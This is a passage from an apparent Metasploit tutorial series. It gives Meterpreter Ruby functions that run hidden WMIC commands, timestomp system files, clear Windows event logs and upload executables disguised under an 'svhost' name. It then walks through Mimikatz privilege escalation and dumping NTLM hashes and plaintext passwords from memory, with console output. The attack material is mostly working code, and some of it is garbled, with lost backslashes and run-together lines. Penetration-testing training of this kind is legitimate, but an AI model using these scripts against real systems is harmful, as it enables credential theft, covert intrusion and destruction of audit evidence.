At the end of the commands, there is the line list_exec(client,commands) to run the function we created.
Now let’s run the new helloworld3.rb script code we created in the Meterpreter session.
As you can see, creating script files with Ruby codes is actually very easy. At first, the codes may seem a bit confusing, but you will get used to them after working with the codes a bit. What you need to do next is to create your own script file by using the code examples and try it out.
38 - MSF Meterpreter Script Functions
In this article, we will look at some useful function examples that you can use in your script files.
Useful Functions
In this article, we will look at some useful function examples that you can use in your script files. You can use these functions according to your needs. You can examine the commands and see what kind of operations they do.
Usable WMIC Commands
def wmicexec(session,wmiccmds= nil)windr=''tmpout=''windrtmp="" session.response_timeout=120 begin
tmp= session.fs.file.expand_path("%TEMP%")wmicfl= tmp + ""+ sprintf("%.5d",rand(100000)) wmiccmds.each do|wmi| print_status "running command wmic #{wmi}"cmd="cmd.exe /c %SYSTEMROOT%system32wbemwmic.exe"opt="/append:#{wmicfl} #{wmi}"r= session.sys.process.execute( cmd, opt,{'Hidden'=> true}) sleep(2)#Making sure that wmic finnishes before executing next wmic commandprog2check="wmic.exe"found=0whilefound==0 session.sys.process.get_processes().each do|x|found=1ifprog2check==(x['name'].downcase) sleep(0.5) print_line "."found=0 end
end
end
r.close
end
# Read the output file of the wmic commandswmioutfile= session.fs.file.new(wmicfl, "rb")until wmioutfile.eof?
tmpout > wmioutfile.read
end
wmioutfile.close
rescue ::Exception => e
print_status("Error running WMIC commands: #{e.class} #{e}") end
# We delete the file with the wmic command output.c= session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden'=> true}) c.close
tmpout
end
Changing File MACE Attributes
def chmace(session,cmds)windir=''windrtmp="" print_status("Changing Access Time, Modified Time and Created Time of Files Used")windir= session.fs.file.expand_path("%WinDir%") cmds.each do|c| begin
session.core.use("priv")filetostomp= windir + "system32"+ c
fl2clone= windir + "system32chkdsk.exe" print_status("tChanging file MACE attributes on #{filetostomp}") session.priv.fs.set_file_mace_from_file(filetostomp, fl2clone) rescue ::Exception => e
print_status("Error changing MACE: #{e.class} #{e}") end
end
end
UAC Control
def checkuac(session)uac=false begin
winversion= session.sys.config.sysinfo
if winversion['OS']~ /Windows Vista/ or winversion['OS']~ /Windows 7/
print_status("Checking if UAC is enaled ...")key='HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem' root_key, base_key= session.sys.registry.splitkey(key)value="EnableLUA"open_key= session.sys.registry.open_key(root_key, base_key, KEY_READ)v= open_key.query_value(value)if v.data ==1uac=trueelseuac=false end
open_key.close_key(key) end
rescue ::Exception => e
print_status("Error Checking UAC: #{e.class} #{e}") end
return uac
end
Clearing Event Logs
def clrevtlgs(session)evtlogs=['security',
'system',
'application',
'directory service',
'dns server',
'file replication service'] print_status("Clearing Event Logs, this will leave and event 517") begin
evtlogs.each do|evl| print_status("tClearing the #{evl} Event Log")log= session.sys.eventlog.open(evl) log.clear
end
print_status("Alll Event Logs have been cleared") rescue ::Exception => e
print_status("Error clearing Event Log: #{e.class} #{e}") end
end
Running Command List
def list_exec(session,cmdlst)if cmdlst.kind_of? String
cmdlst= cmdlst.to_a
end
print_status("Running Command List ...")r='' session.response_timeout=120 cmdlst.each do|cmd| begin
print_status "trunning command #{cmd}"r= session.sys.process.execute(cmd, nil, {'Hidden'=> true, 'Channelized'=> true})while(d= r.channel.read) print_status("t#{d}") end
r.channel.close
r.close
rescue ::Exception => e
print_error("Error Running Command #{cmd}: #{e.class} #{e}") end
end
end
Uploading a File
def upload(session,file,trgloc = nil)if not ::File.exists?(file) raise "File to Upload does not exists!"elseiftrgloc== nil
location= session.fs.file.expand_path("%TEMP%")elselocation= trgloc
end
begin
iffile=~ /S*(.exe)/i
fileontrgt="#{location}svhost#{rand(100)}.exe"elsefileontrgt="#{location}TMP#{rand(100)}" end
print_status("Uploadingd #{file}....") session.fs.file.upload_file("#{fileontrgt}","#{file}") print_status("#{file} uploaded!") print_status("#{fileontrgt}") rescue ::Exception => e
print_status("Error uploading file #{file}: #{e.class} #{e}") end
end
return fileontrgt
end
Writing to a File
def filewrt(file2wrt, data2wrt)output= ::File.open(file2wrt, "a") data2wrt.each_line do|d| output.puts(d) end
output.close
end
39 - MSF Mimikatz
In this article, we will look at examples of using the Mimikatz application within the Metasploit Framework.
Metasploit Framework provides versatile usage opportunities. For this reason, it is possible to include codes from external sources into the system. In this article, we will look at examples of mimikatz application usage in Metasploit Framework.
What is Mimikatz?
Mimikatz is essentially a post-exploitation program written by Benjamin Delpy. It is used to collect information from the target computer. Mimikatz has incorporated many different commands required for collecting information.
Installing Mimikatz
Mimikatz can be run after opening a Meterpreter session on the target system. It runs in memory without the need to load any files into the system. In order for it to work effectively, we need to have session permissions at the SYSTEM level.
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator
In this output, it is seen that we are not at the SYSTEM level on the target system. First, let’s try to get to the SYSTEM level.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
If you were successful, you will get the output as above that you have moved to the SYSTEM level.
Mimikatz is designed to work on 32-bit and 64-bit architectures. After moving to the SYSTEM level, we need to check the architecture of the target system with the sysinfo command. Sometimes, the Meterpreter session may be logged into a 32-bit architecture process running on a 64-bit architecture. In this case, some features of mimikatz will not work. If the Meterpreter session is running in a 32-bit process (even though the architecture is actually 64-bit), mimikatz will try to use software for 32-bit. The way to prevent this is to look at the running processes with the ps command and move to another process with the migrate command.
meterpreter > sysinfo
Computer : WINXP-E95CE571A1
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
In the output seen here, we see that the target machine is already on a 32-bit architecture. So, there is no 32-bit, 64-bit conflict. Now we can load the mimikatz module.
After the installation is successfully completed, let’s first view the help information.
meterpreter > help mimikatz
Mimikatz Commands
**=================**
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds
livessp Attempt to retrieve livessp creds
mimikatz_command Run a custom commandmsv Attempt to retrieve msv creds (hashes)ssp Attempt to retrieve ssp creds
tspkg Attempt to retrieve tspkg creds
wdigest Attempt to retrieve wdigest creds
Mimikatz basically allows us to use the above commands, but the most powerful of them is the mimikatz_command option.
First, let’s check the mimikatz version.
meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC)(Nov 72013 08:21:02)
There are a number of modules provided by mimikatz. To see the list of these modules, it is enough to give a module name that is not found in the system. In this case, mimikatz will give you a list of available modules. Pay attention to the modulename:: format when using the command.
In the example below, the fu:: module is requested. Since there is no such module, we have listed all available modules.
meterpreter > mimikatz_command -f fu::
Module : 'fu' introuvable
Modules available:
-Standard
crypto - Cryptographie et certificates
hash - hash system - Gestion system
process - Manipulation des processus
thread - Manipulation des threads
service - Manipulation des services
privilege - Manipulation des privilèges
handle - Manipulation des handles
impersonate - Manipulation tokens d'accès
winmine - Manipulation du démineur
minesweeper - Manipulation du démineur 7
nogpo - Anti-gpo et patches divers
samdump - Dump de SAM
inject - Injecteur de librairies
ts - Terminal Server
divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
sekurlsa - Dump des sessions courantes par providers LSASS
efs - Manipulations EFS
To list the available options of the modules in this list, the command entered by giving the module name is used in the following format.
meterpreter > mimikatz_command -f divers::
Module : 'divers' identifié, mais commande '' introuvable
Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
noroutemon - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage
eventdrop - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer
cancelator - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session
secrets - Affiche les secrets utilisateur
As you can see, the divers module has noroutemon, eventdrop, cancelator, secrets options.
Reading Hash and Password from RAM Memory
To read Hash values and passwords from RAM memory, we can use the Metasploit Framework’s own commands or we can use mimikaz modules.
Obtaining Information with Metasploit Commands
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials===============AuthID Package Domain User Password
------ ------- ------ ---- --------
0;78980 NTLM WINXP-E95CE571A1 Administrator lm{000000000000000000000000000000000}, ntlm{ d6eec67681a3be111b5605849505628f }0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)0;56683 NTLM n.s. (Credentials KO)0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials=====================AuthID Package Domain User Password
------ ------- ------ ---- --------
0;999 NTLM WORKGROUP WINXP-E95CE571A1$
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;56683NTLM
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword
There are other modules besides the ones shown as examples above. You can review all of them on the
Mimikatz website.
User Token Information
meterpreter > mimikatz_command -f handle::
Module : 'handle' identifié, mais commande '' introuvable
Description du module : Manipulation des handles
list - Affiche les handles du système (pour le moment juste les processus et tokens)processStop - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles
tokenImpersonate - Essaye d'impersonaliser un token en utilisant d'autres handles
nullAcl - Positionne une ACL null sur des Handles
meterpreter > mimikatz_command -f handle::list
...snip...
760 lsass.exe -> 1004 Token NT AUTHORITY ETWORK SERVICE
760 lsass.exe -> 1008 Process 704 winlogon.exe
760 lsass.exe -> 1052 Process 980 svchost.exe
760 lsass.exe -> 1072 Process 2664 fubar.exe
760 lsass.exe -> 1084 Token NT AUTHORITY\LOCAL SERVICE
760 lsass.exe -> 1096 Process 704 winlogon.exe
760 lsass.exe -> 1264 Process 1124 svchost.exe
760 lsass.exe -> 1272 Token NT AUTHORITY\ANONYMOUS LOGON
760 lsass.exe -> 1276 Process 1804 psia.exe
760 lsass.exe -> 1352 Process 480 jusched.exe
760 lsass.exe -> 1360 Process 2056 TPAutoConnSvc.exe
760 lsass.exe -> 1424 Token WINXP-E95CE571A1\Administrator
...snip...
Windows Services Operations
Mimikatz also provides the ability to start, stop and remove Windows services. Let’s look at the service module and its options.
meterpreter > mimikatz_command -f service::
Module : 'service' identifié, mais commande '' introuvable
Description du module : Manipulation des services
list - List les services et pilotes
start - Démarre un service ou pilote
stop - Arrête un service ou pilote
remove - Supprime un service ou pilote
mimikatz - Installe et/ou démarre le pilote mimikatz
Let’s look at the crypto module and options provided by Mimikatz.
meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifié, mais commande '' introuvable
Description du module : Cryptographie et certificates
listProviders - List les providers installés) listStores - List les magasins système
listCertificates - List les certificats
listKeys - List les conteneurs de clés
exportCertificates - Exporte les certificats
exportKeys - Exporte les clés
patchcng - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable
patchcapi - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable
From these options Let’s use the listProviders option.
meterpreter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI:
Gemplus GemSAFE Card CSP v1.0
Infineon SICRYPT Base Smart Card CSP
Microsoft Base Cryptographic Provider v1.0
Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
Microsoft Base DSS Cryptographic Provider
Microsoft Base Smart Card Crypto Provider
Microsoft DH SChannel Cryptographic Provider
Microsoft Enhanced Cryptographic Provider v1.0
Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype) Microsoft RSA SChannel Cryptographic Provider
Microsoft Strong Cryptographic Provider
As you can see from the examples above, there are modules belonging to Mimikatz and their options. I recommend that you gain experience by trying the commands one by one, within a wide range of possibilities.